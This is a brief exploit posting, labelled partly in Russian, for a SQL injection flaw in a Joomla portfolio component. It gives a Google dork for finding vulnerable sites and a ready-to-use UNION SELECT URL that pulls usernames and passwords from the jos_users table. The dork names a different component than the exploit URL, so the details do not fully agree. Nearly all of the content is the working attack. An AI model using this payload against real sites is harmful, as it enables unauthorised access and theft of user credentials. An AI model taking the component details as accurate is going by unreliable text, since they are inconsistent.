Уязвимость: Multiple SQL Injection Vulnerability

Компонент: Portfolio

Dork: inurl:"com_allcinevid"

Language: php

http://www.salvatorefresta.net

Exploit:

http://site/path/index.php?option=com_b2portfolio&c=-1 UNION SELECT 1,concat(username,0x34,password),3,4,5 FROM jos_users